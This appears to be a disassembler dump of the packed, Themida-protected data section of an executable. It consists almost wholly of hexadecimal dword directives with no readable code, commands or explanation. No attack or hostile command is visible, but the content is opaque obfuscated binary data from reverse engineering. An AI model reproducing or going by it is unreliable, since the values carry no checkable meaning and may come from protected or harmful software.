		dd 5D5E9DAAh, 7EF41A39h, 0E41FE9BBh, 6627138Eh,	82A72910h
		dd 770680F4h, 43ABE895h, 0AA344465h, 119699E1h,	0E56BEC80h
		dd 0A4h, 0E4B2B38h, 8EA72968h, 863593DBh, 2AC7DE9Fh, 0A12C3548h
		dd 43CED7A6h, 525F314Ch, 518C5CC1h, 16D0BC3Bh, 0C5D2ED9Dh
		dd 0B846EC45h, 0AD3E14D0h, 72522B22h, 0BC109625h, 0BEA3C79Fh
		dd 4E9D1B78h, 3CBFE5E1h, 4ADBB356h, 3E3F3267h, 9EC76E27h
		dd 24B13EF7h, 35E04F2Eh, 9BEB433Ah, 8D83FAF0h, 0FC12304Eh
		dd 8DA145BCh, 0C2000006h, 31DCACD1h, 0B9444439h, 33DEAECFh
		dd 0B742423Bh, 8928A8D5h, 6A13F913h, 37A6F1Ah, 6A13F681h
		dd 5786F1Ah, 201E0B83h,	0A7241471h, 86DC3223h, 0CF7D9A4h
		dd 0DE6C5C21h, 0C7DE9F86h, 0AD3A432Ah, 21592420h, 44DBADh
		dd 82F50000h, 1D6CC43Fh, 9815300Eh, 8ABFB359h, 9E5F635h
		dd 0A724254Ch, 36592148h, 0E02F8958h, 0DFDB7353h, 0D4C7AD3Eh
		dd 3EDEBBDAh, 2530D9ADh, 411E5429h, 4ADBB318h, 56000000h
		dd 0DF2C6945h, 0C168AD3Eh, 6CC41779h, 62300E1Dh, 0FEB3540Bh
		dd 89205D4Fh, 75DAF2EAh, 1861A9F6h, 4D540562h, 297D1F71h
		dd 0B52D59A7h, 210E5DDBh, 694E7925h
		dd 0D0AE25B9h, 0AD3F4E81h, 0F08D8213h, 0EEA0F049h, 9Fh
		dd 1D6CC4C4h, 9813300Eh, 0B4C1B359h, 866AC3BAh,	0A9F0DC69h
		dd 0BB73BAC3h, 2506E68Ch, 26193836h, 0CE7BA724h, 1A960EA8h
		dd 6BE7418Dh, 5869h, 6CC45B00h,	14300E1Dh, 0C0B35998h
		dd 86ECA399h, 229C08A6h, 0E5027B73h, 24254C09h,	592148A7h
		dd 0E741D1D6h, 2F256Bh,	0C4970000h, 300E1D6Ch, 0B3599815h
		dd 0BFBEA6BFh, 0A5CB8276h, 0FD79E9C3h, 6BE73DACh, 126B5EEFh
		dd 0F3A29C8Bh, 0A1A7242Dh, 0D579C178h, 17h, 0FAEB37E7h
		dd 295DAD3Eh, 0FFFFFF2Eh, 5EFBFBE8h, 3EAD3EC3h,	0C465630Bh
		dd 1D0E1D6Ch, 862776Eh,	73CFFFA2h, 0AD3E3626h, 0A386C376h
		dd 979794DAh, 0B358EF80h, 1F6CF524h, 28D552A1h,	0FAF73F3Eh
		dd 3F8812FCh, 0DE87B2ADh, 126B64F1h, 3F8CE28Bh,	8B53281h
		dd 1A175F1Eh, 58EF071Ch, 7774A5B3h, 299BE2C6h, 56D5249Ch
		dd 3F88F358h, 0CB6811ADh, 0A626573Ah, 64E0FE8Ch, 9CE1CC45h
		dd 12ECFF2Ch, 1518DC43h, 0B5E4E251h, 0E71518DCh, 1833FB32h
		dd 0FB826C2Dh, 64DC2B32h, 0DCA2EFCFh, 28201518h, 997B0A55h
		dd 5AFE8DE4h, 3B5BC562h, 45D05F16h, 0EEFB334Ah,	4110EEFDh
		dd 531517FCh, 2CF65026h, 341B2D01h, 0C5F99E89h,	0ABD42A75h
		dd 65C278C1h, 6806ADB4h, 1AD182FCh, 22FFEFCEh, 9A95C076h
		dd 0D3B944E3h, 0D3AA9FAAh, 69602B9Bh, 8008D14h,	91E89591h
		dd 80FDF3A2h, 5F0A30E9h, 7FC350BDh, 0E4607048h,	21704EDDh
		dd 730F0B56h, 6E0670C6h, 0BA0A7356h, 8A1DCCFh, 19060969h
		dd 1C13866Ch, 0E8914861h, 562E6B4Bh, 0BB6E0F0Bh, 5169F973h
		dd 7704235Ah, 8D82CAEFh, 93C079F0h, 47EF1378h, 70C4F947h
		dd 0DEBEDBDBh, 2BDEAD3Eh, 0D7CE5B02h, 0DF376660h, 0B465AD3Eh
		dd 5D49E47Dh, 2EC8920h,	0DF1C3935h, 0D178AD3Eh,	981E01A8h
		dd 0D462D80Ch, 0DF2E8660h, 522B22EDh, 9F422FDEh, 0A0879F13h
		dd 2307E6DDh, 3A57435Ah, 6EAD3EDFh, 5E20CE7Dh, 0DDD56AEFh
		dd 118B1795h, 79F08D84h, 0F7DB7AC0h, 987B0686h,	3CCFBCE5h
		dd 0F923C68Ch, 60DE94E5h, 0AD3E582Eh, 4961D143h, 810C1B62h
		dd 6E58F588h, 97DF960Fh, 4CF9EA37h, 6F2E1865h, 2DAD3E57h
		dd 0CEC836FCh, 68AD3E77h, 14FC1C9h, 0FF603572h,	0FBE8FFFFh
		dd 3E2F5EFBh, 0FD806CADh, 513FF722h, 0EEDE9F86h, 0EB512C23h
		dd 0BC403D28h, 2840B442h, 464B403Dh, 7201FB41h,	39B5h
		dd 6CC40700h, 5B7D0E1Dh, 0F6B0D01Dh, 0AE4052Dh,	0B358A100h
		dd 0D07F75A4h, 39C4EDA1h, 7D342D50h, 512BB7B5h,	0AB8BA8F7h
		dd 0AD3F4AA3h, 6C191643h, 4A3FF786h, 26A4h, 6CC40E00h
		dd 16300E1Dh, 0BEB35998h, 0DEE6A58Bh, 310B9717h, 1AAB4897h
		dd 9B524B32h, 0EE5856D3h, 16AD3EDFh, 86CE5C63h,	0C8C7DE9Fh
		dd 5228553Dh, 5F314C43h, 0E80756F2h, 37624AFBh,	5B022B52h
		dd 0C4827CB2h, 0F0B353E7h, 13462049h, 0D5A729D7h, 3B4227D6h
		dd 3D64190Eh, 64D0DE94h, 0ECEE9FE8h, 25576Bh, 0C4690000h
		dd 300E1D6Ch, 0B353E20Ah, 1C069FCAh, 0A729DB79h, 0F973FF6Fh
		dd 6218654Ch, 0ECF7BACFh, 0EC3E6Bh, 86900000h, 2AC7DE9Fh
		dd 6C5EEF48h, 0DE683511h, 534AD3Eh, 8736352Ch, 0F695DDA0h
		dd 72816E0Fh, 3EDEC594h, 0CCA2D7ADh, 304D38D5h,	2A25B0C3h
		dd 0DEAAE753h, 2E18AD3Eh, 0C49F564Fh, 6C11F895h, 70E8C2C6h
		dd 0E2AD3EE3h, 473292EBh, 1D0E1D60h, 3EDA7421h,	41F920ADh
		dd 206FC926h, 0DD033313h, 0A6D3B353h, 6B12FC89h, 550C3BF2h
		dd 6522AECh, 2693F33Bh,	0BFAC3B8Ah, 3E67160Eh, 3965DF97h
		dd 65AD40B3h, 4A2437B4h, 0AD3C630Bh, 999AE089h,	0A09306ECh
		dd 0E7C7C4DDh, 0AD3C62AAh, 3FF63FEAh, 0ADD0C24Dh, 7AE6267h
		dd 1A55CFAh, 1BCh, 0E9DBA293h, 71532A1Eh, 0EBDDA086h, 77592420h
		dd 0F5D7A68Ch, 0C4A64036h, 432CD7B9h, 0CCBF4A3Ah, 3934DFB1h
		dd 0DFCC4444h, 240FB2DFh, 1B73E2A7h, 0F7D9A486h, 9278210Ch
		dd 72BB72EBh, 6CC4A412h, 0A300E1Dh, 0CAB353E2h,	0FEA7D6BBh
		dd 9B871E57h, 0A729DBFAh, 9A0DDC8h, 64FD806Ch, 3B6F0373h
		dd 0AE2ABA34h, 6BECF7D9h, 0BE1Dh, 0CC831000h, 126B5F6Bh
		dd 73A82075h, 9F86CDBBh, 610DCAF8h, 0F53C88C1h,	92EBE16Ch
		dd 2F0F1C0Bh, 0AD3E7962h, 0B71BE85Eh, 6EB947DEh, 938973BBh
		dd 45AD3E6Fh, 26574F4Ah, 9B927D4Fh, 3BB645E2h, 0B9E1B427h
		dd 84E37EB4h, 704EDD2Ch, 0B352F7BEh, 0F38A7F16h, 43FD4A3Ah
		dd 0FCF7F7F4h, 98AD409Dh, 0E1D38271h, 6B612C9Ch, 9D933E12h
		dd 80F9FA07h, 0DBEEh, 0FE7F7400h, 6E0F038Eh, 7D731Eh, 74090590h
		dd 0FA836914h, 63BD2B8Ah, 0D1BC0C71h, 5823A5D8h, 0D1BC0C71h
		dd 6D25A7D6h, 0FD78680h, 0D0C5A724h, 0D9A48682h, 0BDB9AAF7h
		dd 0AD3EDEA0h, 823E4DFCh, 2A886D57h, 2D1833FBh,	86D28050h
		dd 0C451DE9Fh, 5ACB5C8h, 0B097322Dh, 1510FBCDh,	0B29D6868h
		dd 0C6D5D2CBh, 3EDEA9E8h, 725AEBADh, 320C620Bh,	0DC594266h
		dd 3B316860h, 0BB721B42h, 5D2007A2h, 5008D44h, 2C4AF178h
		dd 11403EB8h, 837E247Bh, 1D979FD6h, 0FB826D85h,	7EF9C89h
		dd 3FE198FCh, 0E0C786ACh, 7D69049Dh, 600F300h, 7E24B057h
		dd 435E1445h, 7A92228Ch, 0EF9AEA93h, 4ADC85F8h,	18h, 86372468h
		dd 325FDBA2h, 2EAD3EDFh, 3EDF0150h, 7DE693ADh, 8515A6CCh
		dd 0D1D8A586h, 2D344944h, 0CDD4A9A0h, 2F364740h, 0D4CDB0A2h
		dd 332A5339h, 0D6CFAE96h, 8128553Bh, 0E881FCF4h, 6C346804h
		dd 0C890000h, 81E18924h, 4C1h, 4E98300h, 5C240C87h, 63D568h
		dd 241C8900h, 1E0C68h, 240C8900h, 1ABB9268h, 241C8B06h
		dd 8304C483h, 248904ECh, 24048124h, 4, 8B85059h, 1000000h
		dd 8B1889C8h, 0C4812404h, 4, 592434FFh,	0FF04C483h, 835B2434h
		dd 89E904C4h, 63FFFB77h, 795FE196h, 0EBF02A8Eh,	0D8B31B91h
		dd 1AD0EEB8h, 0FFC50306h, 1137A4E0h, 74AC0976h,	7F75C114h
		dd 71875B4Dh, 87422862h, 66F54474h, 23C14419h, 4EA52028h
		dd 79CB5229h, 78CC2346h, 0FBCB0970h, 0C8D8D12h,	89061AD2h
		dd 1511AD95h, 218D8906h, 9061527h, 1503CD85h, 0CD85C706h
		dd 98061504h, 100005Eh,	151D558Dh, 1585C706h, 61511h, 66000000h
		dd 0FF3A98BBh, 150009B5h, 2DB58906h, 0FF06150Ah, 1502C995h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 6ABF724Bh, 0BD8B21AEh, 6152665h,	95FF006Ah
		db 21h,	2Eh, 15h
byte_5D6C3B	db 6			; DATA XREF: Themida_:0057B784o
		dd 4DEBC08Bh, 0D7A1999Ch, 0CEC20178h, 4436A995h, 864683Ah
		dd 171CB81Bh, 52E3D057h, 4B18DED4h, 0B1F2947Fh,	4948A1B0h
		dd 6C4F38E6h, 0F6829602h, 697FB625h, 9B1FD67h, 75CE074h
		dd 0FB0A879Ch, 555F6D05h, 2A3DA358h, 29CB63CDh,	0BB5F5383h
		dd 188D8DB3h, 6A061AD3h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0C1FBC352h,	6E9D5h
		dd 77110000h, 0FE9983CFh, 27218D89h, 0AFBB0615h, 8B0D1E4Dh
		dd 15224995h, 0CD85C706h, 18061504h, 60000073h,	8698D8Bh
		dd 85010615h, 6150289h,	1585C761h, 61511h, 8B000000h, 15113195h
		dd 39B5FF06h, 6A061523h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 2D68C352h, 95FFC12Bh
		dd 61502C9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	47C35747h, 37B60C89h, 95FF006Ah, 6152E21h, 2BEBC08Bh
		dd 0BAC55451h, 5E53D47Dh, 0EDBD1A0Fh, 0DF6B3C38h, 7AD49E51h
		dd 5A1C0D7Fh, 90F8AE63h, 660FDA53h, 0BE682420h,	8E3E84D9h
		dd 8BDC27E1h, 850F53C0h, 16h, 11E9h, 9EAF5700h,	0D9FD7FAAh
		dd 3F373079h, 91BF3F0Bh, 835A6987h, 1508F5BDh, 9750006h
		dd 3ADBD83h, 74000615h,	8B535019h, 3FCB8C0h, 85890000h
		dd 6151385h, 0AA9E9D8Dh, 0D3FF0617h, 0BD83585Bh, 61503ADh
		dd 50177400h, 3FCB853h,	85890000h, 6151385h, 0A78D9D8Dh
		dd 0D3FF0617h, 0C6B2585Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 12C35747h, 3EA524BBh,	0C08B973Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 88C35646h, 0B70F227Ch
		dd 0B5BD83D2h, 106152Dh, 87840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 4A5C35C3h
		dd 8E0F70DAh, 2, 0BD83D78Bh, 61514F5h, 52850F00h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 652BC355h, 0FF0CE4BBh, 0BD83F509h, 61509CDh
		dd 92840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0CCA3C350h,	0D3807C8Ch
		dd 478E954h, 890F0000h,	17h, 12E9h, 0FDA90A00h,	97D4D153h
		dd 0D758598Ch, 4DE38159h, 30DC51h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0FCB2C357h, 7D6A2CFFh, 96771284h, 8DD28166h,	56006A49h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 5EADFB32h, 53876221h, 0B034ED61h, 0D9DAADB4h, 0FA32FDB4h
		dd 536C3DEAh, 5B365BC0h, 0C3369BF0h, 9C32DFB4h,	0B97C2CE2h
		dd 0BB2344B6h, 57E044BBh, 0C277A431h, 8C3294B2h, 0DA327C5Ch
		dd 196C9FB4h, 0FE4656EAh, 0FE766EB0h, 0DA32EFB0h, 1964BDB4h
		dd 0D55DEBB3h, 385F111h, 653DAF4Bh, 0DF02566Ch,	0DA58DFB4h
		dd 0DA3107E3h, 8512F7B4h, 0A6BBA477h, 9EB3F990h, 0DA24FA90h
		dd 8D757FB4h, 8BFA9F77h, 0DCDA083Eh, 7A32EFB4h,	0FBCCCC4Fh
		dd 81CE7148h, 0DA3215E1h, 5B6FFEB4h, 0C0E7F059h, 0DCB8B0B2h
		dd 5B32DFB4h, 8829B06Fh, 0D8B9F880h, 5032FBB4h,	8F32974Ah
		dd 0DA32FD5Ch, 196F5FB4h, 0FE5E36E9h, 0FE765EB0h, 0DA32F7B0h
		dd 1967B2B4h, 9C189723h, 1AB9086Dh, 3261FEDEh, 0DA327FB7h
		dd 81F1E494h, 0DE16833Dh, 0DE16AB35h, 0DA32F7A2h, 0B8F1A8F7h
		dd 0C8DA603Ah, 1D32FEB4h, 87247AAEh, 49DD2C18h,	42DFC214h
		dd 373E9296h, 0FC0A4D05h, 4A689546h, 0DA32EE5Dh, 5941C5B4h
		dd 0E79FF769h, 92CE4A70h, 0C85F296Eh, 80EE9C52h, 2B997E4h
		dd 0DA586BD5h, 0DA3115E7h, 8112FEB4h, 86BB2477h, 9EB3BB90h
		dd 0DA26DB90h, 8971EFB4h, 5B54FA77h, 0D548BB57h, 2416B1B5h
		dd 82E041BBh, 32647FDEh, 0DA32BFB7h, 84F18194h,	0DE169B3Dh
		dd 0DE16B335h, 0DA32FBA2h, 59F1ABF2h, 0D637A820h, 0B0327FB6h
		dd 0D9DAECB4h, 0FA32DFB4h, 53692CEFh, 5B36D3E8h, 0C336DFF0h
		dd 9932FDB4h, 22D33DE7h, 2916C679h, 0BC574834h,	0D2B9083Fh
		dd 3262EFDEh, 0DA32F7B7h, 82F1A394h, 0DE16B93Dh, 0DE16BA35h
		dd 0DA327FA2h, 4BF1EFF4h, 0D552A396h, 0DA32E43Bh, 0DA371FB4h
		dd 0DDB6FBB4h, 82DCC280h, 0BB539ED4h, 92B919D5h, 0D6BAB048h
		dd 0D532DFB4h, 0DA32E93Eh, 0DAB7F8B4h, 0D532FBB4h, 0DA32FE3Ch
		dd 78DC7EB4h, 0DA327E0Ch, 8C32D5B4h, 0DA32DC5Ch, 196CCFB4h
		dd 0FE467EEAh, 0FE767AB0h, 0DA32E0B0h, 1964B8B4h, 975CC836h
		dd 7485FD1Ah, 0BC526F50h, 0B09D1E35h, 6053093Fh, 0F6E73D6Eh
		dd 0BA60ADE4h, 0DA3275BBh, 0CBDA7FB4h, 5F32BFB4h, 0FE320D3Dh
		dd 101C9DFCh, 0DEC64B26h, 4794F60Dh, 0EB3D9CEDh, 9A8998E7h
		dd 8268246Eh, 0BC16B33Dh, 0BC417C0Eh, 0DA583638h, 0DA311FE5h
		dd 8312FBB4h, 96BBA477h, 9EB3FA90h, 0DA267B90h,	8B73BFB4h
		dd 653DFC77h, 0DEF3196Fh, 0DB1C72BBh, 0DA58FBB4h, 0DA3115E1h
		dd 8712FEB4h, 0B6BB2277h, 9EB3BB90h, 0DA25DB90h, 8F77EFB4h
		dd 7F2F9F77h, 0DA3412A9h, 0E69AFDB4h, 0C668B94Fh, 8D3215EDh
		dd 0DA32BC5Ch, 196DFFB4h, 0FE4E66EBh, 0FE7676B0h, 0DA32EFB0h
		dd 1965BAB4h, 30B30B54h, 0DDAAEAF3h, 0D55A8634h, 0DA33CE31h
		dd 8C3285B4h, 0DA32F45Ch, 196CDBB4h, 0FE4674EAh, 0FE767FB0h
		dd 0DA326AB0h, 1964F9B4h, 5B543C39h, 507EC966h,	0DB4B7C6Ch
		dd 3ED17AD2h, 0DACD7C92h, 0D5B2FEB4h, 0DA32A636h, 8B32D5B4h
		dd 0DA32DC5Ch, 196BCFB4h, 0FE7E7EEDh, 0FE767AB0h, 0DA32E5B0h
		dd 1963BFB4h, 8AE5365Fh, 36EE0484h, 39B2A418h, 6AB728E5h
		dd 0DB34ED60h, 0B032FBB4h, 0D9DAADB4h, 0FA32FEB4h, 536ABCECh
		dd 5B369BF0h, 0CC36FBF0h, 9A32EFB4h, 67734E4h, 0DA221250h
		dd 44BDFDB4h, 6864353Eh, 5DE5B9D7h, 1DBAE8ABh, 51DB653Bh
		dd 0B032EFB4h, 0D9DAA5B4h, 0FA32FBB4h, 53683EEEh, 5B36DAE0h
		dd 0CF365BF0h, 9832BFB4h, 4431CE6h, 85D5D40Eh, 0DA7A1EF3h
		dd 5E3DFBB4h, 0DA32FDB1h, 404A160Eh, 0A6F9FFA2h, 28F93EEDh
		dd 0BC740B3Eh, 25399637h, 0DA1A73BBh, 3F84FBB4h, 0E827873h
		dd 0DA33F8AEh, 0DA587FB4h, 0DA3157E1h, 8712DFB4h, 0B6BBB277h
		dd 9EB3F390h, 0DA26FF90h, 8F77FDB4h, 897A3B77h,	0DA32745Ch
		dd 1AEC33B4h, 3E85C75Eh, 0EC0A28DFh, 0BCEF980Eh, 5A69A0AFh
		dd 948B927Fh, 5774FEB7h, 0C0E8A531h, 0FD8F32B2h, 0E134C56Dh
		dd 0EA359B4Ch, 9DFB26BBh, 533D0E5Fh, 0DA32FDB2h, 0AD893D35h
		dd 0BC6058EBh, 63797D35h, 6F8F5CEFh, 0DB34FA99h, 0DA6573BBh
		dd 0DDDBFBB4h, 0C932FDB4h, 66448703h, 0DCDB53CCh, 332BFB4h
		dd 4B8CB1h, 2F8F6CF9h, 0DA34E2A0h, 0DA017EBBh, 0DDDBFDB4h
		dd 9232FEB4h, 0D573CB74h, 67B1DF53h, 0DC27D679h, 0EEB6E0B4h
		dd 3232F7B4h, 0DA32FBA5h, 49A8B922h, 9681209h, 92B9B4A1h
		dd 9279CCB7h, 0FCE45FF7h, 0DADA06EFh, 4B9F7B4h,	0DA3F75BBh
		dd 6452FDB4h, 0FB555CD3h, 9DFDBD35h, 5953D021h,	0CF1F6A09h
		dd 5F3DEEB2h, 0DA32F7D7h, 3267FBDEh, 0DA32FDB7h, 87F1A394h
		dd 0DE16133Dh, 0DE16FB35h, 0DA32DFA2h, 56F1BAF1h, 0B06F3252h
		dd 0D9DAAAB4h, 0FA32FDB4h, 536B3DEDh, 5B365BF8h, 0CE369BF0h
		dd 9B32DFB4h, 51C02CE5h, 4B93464h, 0DA327A5Dh, 893297B4h
		dd 0DA32FD5Ch, 19695FB4h, 0FE6E36EFh, 0FE765EB0h, 0DA32F9B0h
		dd 1961B4B4h, 87D6253Ch, 3260FDDEh, 0DA32FEB7h,	80F12594h
		dd 0DE16EB3Dh, 0DE169B35h, 0DA32EFA9h, 67F1A5F6h, 149DBC02h
		dd 6C45CFECh, 0BA62ADADh, 886924D5h, 0DA32B05Ch, 0F392C0B4h
		dd 25A01EEh, 88BCA6DBh,	0CDB8A9A5h, 81688707h, 0DA20167Bh
		dd 0AB407FB4h, 2E65249Bh, 0CF203D05h, 0E1BED6E0h, 0DB113D0Dh
		dd 80EC44BBh, 67BF073Eh, 0DC282A4Ah, 95F239h, 0C78AB9AEh
		dd 0E949E5E8h, 0CF252231h, 1BFDDCB2h, 0B7948B5Dh, 315774FEh
		dd 0B2C0E8A5h, 6DFD8F32h, 4CE134C5h, 0BBEA359Bh, 0E983FB26h
		dd 83A4F305h, 1AD4B0BDh, 0D740006h, 4F9E8D8Dh, 1B80615h
		dd 0FF000000h, 6A40E1h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0B81825C3h, 0EE06FCBBh, 57006A1Bh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0F9EA435h, 0C8Ah, 68F0F00h, 81000000h, 0E402C6CAh, 2DE8836Eh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 57C35141h
		dd 4FFEA14Eh, 914C6852h, 0D0BF0F76h, 6AC08Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 58632CC3h
		dd 702CAD31h, 0EBE38166h, 0DE9535Dh, 0BC000000h, 0ED109B9Ah
		dd 0D5D89E2Dh, 3EC741BCh, 0F5BD835Ah, 61508h, 0BD830975h
		dd 61503ADh, 50197400h,	0B8C08B53h, 3FCh, 2A18589h, 9D8D0615h
		dd 617AB05h, 585BD3FFh,	3ADBD83h, 74000615h, 0B8535017h
		dd 3FCh, 2A18589h, 9D8D0615h, 617A7A6h,	585BD3FFh, 6ADF8B66h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 8B2DC356h, 7A8D8DC0h, 0E9061ADCh,	0Bh, 0F022BD61h
		dd 5A8D3A53h, 89A8484Ah, 1527218Dh, 0EC38006h, 4CD85C7h
		dd 6B400615h, 0B8660000h, 85C787E6h, 6151115h, 0
		dd 0DFBBF560h, 616A45E9h, 23E1B5FFh, 858B0615h,	6150A69h
		dd 2C995FFh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0DC9F6FC3h, 6A5AC6h, 2E2195FFh
		dd 0C08B0615h, 19147CEBh, 0D5FD63FFh, 0BD1B2B0Fh, 597F66A4h
		dd 0EC11C499h, 0FE7193AEh, 0D080959Fh, 0AEF161D2h, 8AC03EFEh
		dd 3487B6FDh, 6CA03CBFh, 0B226667Dh, 58E24713h,	0DEAE1156h
		dd 0D6FBCD32h, 0F7BFB5F1h, 455A966Ah, 0DE55DD3Eh, 8C1C9FAFh
		dd 5352B0ACh, 0A1B4E01Ch, 0BBC41B24h, 9FD30466h, 43DE2110h
		dd 0A6D7AF86h, 0F220A487h, 0F4F69365h, 7F905406h, 7DF8F143h
		dd 4207F29Ah, 15F4DB56h, 19E97246h, 0D4000000h,	14939C9h
		dd 7C809Eh, 4 dup(0)
		dd 0D85E9h, 0DEB66800h,	2BE9061Ah, 68FFFAA1h, 61ADFC1h
		dd 0FAA121E9h, 0E14C68FFh, 17E9061Ah, 68FFFAA1h, 61AE2C6h
		dd 0FAA10DE9h, 0E47768FFh, 3E9061Ah, 68FFFAA1h,	61AE698h
		dd 0FAA0F9E9h, 0E82668FFh, 0EFE9061Ah, 68FFFAA0h, 61AE946h
		dd 0FAA0E5E9h, 0C43492FFh, 0F7F0231h, 0CC3CB966h, 676FA29h
		dd 0D242C06Fh, 6C276443h, 28F79E0Eh, 71BE57C7h,	5DD2A313h
		dd 3C876EDEh, 2F6EB312h, 8C0D169Ch, 45864FB0h, 53C34049h
		dd 274D6A63h, 6641C672h, 4A75ABE0h, 27848565h, 11727FB7h
		dd 4D8AD4A1h, 8AE08ACDh, 770C2BEFh, 31B11686h, 48F8A248h
		dd 4B7F4618h, 12169BB4h, 6FAE1501h, 181693AAh, 8E1B2EA1h
		dd 309DBD76h, 7A108003h, 42CAh,	0BABDE00h, 0F04003DBh
		dd 8D169BF5h, 0CA947ABCh, 93F1D6FBh, 0E6849516h, 93F196B7h
		dd 0FA6AC816h, 0D141A7BCh, 8837DEE5h, 9548EF5Bh, 0BD1D49B4h
		dd 0C9ECE99Dh, 0C838B8F0h, 0DAE4C3EFh, 0C81430h, 24280000h
		dd 525F57C7h, 970764F0h, 9E89AE9Fh, 36CE2DACh, 273C7A55h
		dd 4B35CC4h, 4B3AD32h, 75F6EB2Bh, 291C3905h, 0D1B7BC00h
		dd 5471FCEEh, 10861A38h, 9263D330h, 68AE1E9Dh, 8FF23E02h
		dd 926171Fh, 0F7CA8E35h, 0E2B3169Ch, 0A3D3A313h, 8B17969Bh
		dd 0F199B626h, 9A57D86Bh, 0C5D61088h, 6DF2E3F9h, 8AEB4C55h
		dd 0A79A3FAh, 92BD7724h, 68AE1EA1h, 0B436F397h,	82B144h
		dd 0C5980D90h, 654FB1BDh, 0B3DDDh, 0EC5CDA00h, 27971A09h
		dd 0F464E14Eh, 3EAE1221h, 0FA6AC857h, 940F7C1Bh, 60CFA616h
		dd 99866FDFh, 55CAAB1Bh, 448F66D6h, 2C66AB1Ah, 8405169Ch
		dd 56C624B8h, 0B21370BFh, 86F2CE13h, 0B39CAD10h, 0BAB56E2h
		dd 0F04003DBh, 8D169BF5h, 9F947ABCh, 3C8EA919h,	521CCDB3h
		dd 0B5D8C3A7h, 421693A9h, 0DC61E8D7h, 7E9DBD74h, 0B54DB535h
		dd 2BE9587Eh, 0B37D3FCh, 0DCh, 0A3BE1441h, 7047B73Bh, 0FF834C06h
		dd 99B6878Fh, 0C72449F1h, 0F0525F57h, 8FC89680h, 4E09AF7Ah
		dd 8635D5FAh, 1086F076h, 8BA8096Ah, 817EB828h, 86FEFD24h
		dd 80AF8010h, 3A0C99BEh, 898D129Fh, 1E9D92E1h, 0B8A668AEh
		dd 8660C40Dh, 0C896A710h, 8660D4FDh, 0E4869710h, 5AE90AAEh
		dd 10866037h, 0F4CAE5B6h, 9C978951h, 0D2A37416h, 0DAE414E4h
		dd 8B3CAF6Bh, 617D4E10h, 7DC25874h, 92783F2Dh, 930367CCh
		dd 5DCD2D02h, 0BD7F35C0h, 3490A6B1h, 0A32h, 7C1989E5h
		dd 43D242A7h, 542191ECh, 0CE959DFh, 52239317h, 0D75B5655h
		dd 1EA18E67h, 0DC58C7AEh, 199A896Ch, 0D3FBCCA9h, 9C2D2970h
		dd 2913D416h, 8856C624h, 0B654C42Bh, 7BEB48D7h,	17AEB09Ah
		dd 1086F2F2h, 5AC2A879h, 8757C724h, 0F2ABEE55h,	62C51086h
		dd 0E2614EF2h, 0D4565D72h, 9B888664h, 0C0308C18h, 0E0A006EFh
		dd 83B0AEB0h, 0CBFA9000h, 169C1F57h, 0F61BAAB4h, 751693DCh
		dd 0C1D2C6A4h, 0DC2E6ED5h, 5ED91693h, 4C4FDA6Fh, 0D2D59DBDh
		dd 0D3000006h, 0D848A809h, 1D44E1DEh, 0E01693D4h, 0ABF71BCFh
		dd 0AE03DB0Bh, 0E64DE44Ch, 12C0B370h, 8DE8F93Dh, 0B24191Dh
		dd 0B2FFDD5Fh, 0D9B6E050h, 0B0E656DAh, 0F0902BDFh, 8D169CD7h
		dd 2E91A2BCh, 0E38778BEh, 783CA29h, 0C56C1693h,	12CA2F1Ah
		dd 7E529DBEh, 66000006h, 3DB0BABh, 9C1AEC40h, 76A07116h
		dd 93DACE0Fh, 33A32016h, 67AA1903h, 61693DAh, 0E7EFE35h
		dd 5A7F4608h, 211693DAh, 8D407910h, 923DF456h, 0BD4632B7h
		dd 59DFD49Dh, 64DFADE9h, 1693D23Dh, 2AC0EFC0h, 634FAh
		dd 5CB20E00h, 0ADB1E195h, 9BFB3216h, 4003D916h,	1693F819h
		dd 8737D3E4h, 99DDE8B6h, 169A8916h, 992C3262h, 84B63CF1h
		dd 0FD6BAB7Ch, 8E350939h, 8EA36717h, 28895566h,	90BA5BCBh
		dd 6AAC1CA3h, 0AE3D3F9Dh, 3E11C288h, 0D05CDF4Ch, 512C0373h
		dd 1F9624C0h, 0A7AD151Fh, 70000008h, 60CFA616h,	8FA471E1h
		dd 48D7BE2Eh, 869D78E8h, 0CAE1B424h, 0FC6CCEC1h, 35A50A19h
		dd 171D360h, 0CC3CBF74h, 15B09E29h, 169C13CCh, 4F4EEEAFh
		dd 0C382E362h, 1086F29Eh, 87634C5Dh, 7DB9298Ah,	9B2A4BEBh
		dd 1086F276h, 330B24F5h, 0A1CF4990h, 5B633416h,	3E824B7Ah
		dd 0CF694EBEh, 5934D626h, 9CA8615Ch, 72D35716h,	9CA88ED3h
		dd 735C6D16h, 7B654A43h, 0D8BD2D8Eh, 3D0131D2h,	9CA84B86h
		dd 35613216h, 0E75EBF3Ch, 169CA8A2h, 0DF667849h, 169CA8BAh
		dd 0B65F7041h, 2892C394h, 0F73A6C19h, 0F115A813h, 298B169Ch
		dd 1694209Dh, 0B09F70A6h, 0CFA68986h, 4373E360h, 6DDD5859h
		dd 7B65429h, 169CE1C6h,	3191A2ACh, 0FAD545A5h, 9136A910h
